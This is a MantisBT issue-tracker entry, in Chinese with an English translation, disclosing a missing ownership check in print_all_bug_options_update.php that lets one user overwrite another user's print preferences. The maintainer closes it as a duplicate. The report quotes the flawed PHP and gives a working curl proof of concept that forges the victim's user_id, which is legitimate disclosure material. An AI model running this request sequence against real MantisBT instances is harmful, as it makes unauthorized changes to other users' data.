Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037364mantisbtsecuritypublic2026-11-22 16:11
Reporter360Alphalab Assigned Todregad  
PrioritynormalSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.4 
Summary0037364: print_all_bug_options_update.php allows changing another user's print layout preferences
Description

print_all_bug_options_update.php(tag release-2.28.4,commit ceb74c8)。
脚本从 POST 参数获取 user_id,这里没有任何验证确认当前登录用户与该 user_id 一致:

$f_user_id      = gpc_get_int( 'user_id' );
$f_redirect_url = gpc_get_string( 'redirect_url' );

下方构建偏好数组后,直接将用户传入的 $f_user_id 赋给 $t_user_id,作为 UPDATE 的目标用户——此处缺失所有权比对,即没有检查 auth_get_current_user_id() == $f_user_id,也没有调用 access_ensure_global_level() 要求管理权限:

$t_user_id = $f_user_id;

$c_export = implode( '', $t_prefs_arr );

$t_query = 'UPDATE {user_print_pref} SET print_pref=' . db_param() . ' WHERE user_id=' . db_param();

$t_result = db_query( $t_query, array( $c_export, $t_user_id ) );

作为对照,同项目中的 account_prefs_update.php 处理类似偏好更新时,在 user_id 不等于当前用户的情况下要求 manage_user_threshold 权限。print_all_bug_options_update.php 没有此类检查。

Steps To Reproduce

先以 attacker 账户登录获取会话 cookie,然后发送以下请求修改 victim 的打印偏好(<victim_user_id> 为 victim 的用户 ID):

# 1. 登录 attacker 账户获取会话 cookie
curl -s -c cookies.txt -b cookies.txt \
  -d "username=attacker&password=<attacker_password>" \
  "http://<mantisbt_host>/mantisbt/login.php"

# 2. 获取 CSRF token(登录后页面包含 form_security_token)
TOKEN=$(curl -s -b cookies.txt "http://<mantisbt_host>/mantisbt/print_all_bug_options_page.php" \
  | grep -oP 'print_all_bug_options_update_token" value="\K[^"]+')

# 3. 发送越权请求:将 user_id 设为 victim 的 ID
curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
  -d "print_all_bug_options_update_token=${TOKEN}" \
  -d "user_id=<victim_user_id>" \
  -d "redirect_url=my_view_page.php" \
  -d "print_id=1&print_project_id=1&print_category=1&print_severity=1&print_reproducibility=1&"\
"print_date_submitted=1&print_last_update=1&print_summary=1&print_status=1&print_resolution=1&"\
"print_handler=1&print_priority=1&print_os=1&print_os_build=1&print_platform=1&print_v ersion=1&"\
"print_fixed_in_version=1&print_projection=1&print_eta=1&print_description=1&print_steps_to_reproduce=1&"\
"print_additional_information=1&print_tags=1&print_due_date=1&print_overdue=1&print_reporter=1&"\
"print_view_state=1&print_attachments=1&print_bugnote_count=1" \
  "http://<mantisbt_host>/mantisbt/print_all_bug_options_update.php"

预期结果:返回 HTTP 302(操作成功)。Victim 的 user_print_pref 表记录被修改为 attacker 指定的偏好模式。

Additional Information

影响:
攻击者可修改任意用户的打印字段偏好设置。被修改的偏好会影响 victim 下次使用打印功能时看到的 Bug 字段布局——例如 attacker 可将所有字段取消勾选,使 victim 的打印输出丢失关键信息,或勾选全部字段使打印输出包含大量冗余内容。虽然打印偏好本身不属于高敏感数据,但这是一个未经授权的跨用户数据修改操作,违反了对象级访问控制。

希望对此漏洞申请CVE,谢谢。

TagsNo tags attached.

Relationships

duplicate of 0037031 closeddregad Print Preferences Update Allows Cross-User Modification via Forged user_id 

Activities

dregad

dregad

2026-09-01 03:44

developer   ~0071396

Last edited: 2026-09-01 03:56

@360Alphalab Thanks for your report.

First of all, please note that nobody speaks Chinese here. In the future, kindly submit your reports in English.

This vulnerability has already been identified by another researcher (filed under 0037031), but it has not yet been patched. I will therefore close this Issue as duplicate.

You will be co-credited for the finding; please indicate how you would like credits to be listed, and also provide your GitHub id so we can link it to the security advisory.

Google translation

print_all_bug_options_update.php is used to update the current user's printing preferences (controlling which fields are displayed when the bug list is printed). This script retrieves the target user ID from the user_id POST parameter and then uses that ID directly as the value for the database update.

print_all_bug_options_update.php (tag release-2.28.4, commit ceb74c8)

The script retrieves the user_id from the POST parameter, but there's no verification to confirm that the currently logged-in user matches this user_id:

$f_user_id = gpc_get_int( 'user_id' );
$f_redirect_url = gpc_get_string( 'redirect_url' );

Below, after constructing the preference array, it directly assigns the user-provided $f_user_id to $t_user_id as the target user for the UPDATE operation—here, ownership verification is missing; that is, it doesn't check auth_get_current_user_id() == $f_user_id, nor does it call access_ensure_global_level() to request administrative privileges:

$t_user_id = $f_user_id;
$c_export = implode( '', $t_prefs_arr );
$t_query = 'UPDATE {user_print_pref} SET print_pref=' . db_param() . '` WHERE user_id=' . db_param();
$t_result = db_query( $t_query, array( $c_export, $t_user_id ) );

For comparison, account_prefs_update.php in the same project requires manage_user_threshold permission when handling similar preference updates if user_id is not equal to the current user. print_all_bug_options_update.php does not have this check.

First, log in as the attacker to obtain a session cookie. Then, send the following request to modify the victim's printing preferences (<victim_user_id> is the victim's user ID):

# 1. Log in as the attacker to obtain a session cookie
curl -s -c cookies.txt -b cookies.txt \
-d "username=attacker&password=<attacker_password>" \
"http://<mantisbt_host>/mantisbt/login.php"
#
# 2. Obtain a CSRF token (the page contains form_security_token after login)
TOKEN=$(curl -s -b cookies.txt "http://<mantisbt_host>/mantisbt/print_all_bug_options_page.php" \
| grep -oP 'print_all_bug_options_update_token" value="\K[^"]+')
#
# 3. Send an unauthorized request: set user_id to the victim's ID
curl -s -b cookies.txt -o /dev/null -w "%{http_code}" \
-d "print_all_bug_options_update_token=${TOKEN}" \
-d "user_id=<victim_user_id>" \
-d "redirect_url=my_view_page.php" \
-d "print_id=1&print_project_id=1&print_category=1&print_severity=1&print_reproducibility=1&"\
"print_date_submitted=1&print_last_update=1&print_summary=1&print_status=1&print_resolution=1&"\
"print_handler=1&print_priority=1&print_os=1&print_os_build=1&print_platform=1&print_v ersion=1&"\
"print_fixed_in_version=1&print_projection=1&print_eta=1&print_description=1&print_steps_to_reproduce=1&"\
"print_additional_information=1&print_tags=1&print_due_date=1&print_overdue=1&print_reporter=1&"\
"print_view_state=1&print_attachments=1&print_bugnote_count=1" \
"http://<mantisbt_host>/mantisbt/print_all_bug_options_update.php"

Expected Result: Returns HTTP 302 (Operation Successful). The Victim user_print_pref table record has been modified to the attacker-specified preference pattern.

Impact: An attacker can modify the print field preference settings for any user. The modified preferences will affect the layout of the bug fields the victim sees the next time they use the print function—for example, the attacker could uncheck all fields, causing the victim's printout to lose critical information, or check all fields, causing the printout to contain a lot of redundant content. Although print preferences themselves are not highly sensitive data, this is an unauthorized cross-user data modification operation that violates object-level access control.

We hope to file a CVE for this vulnerability. Thank you.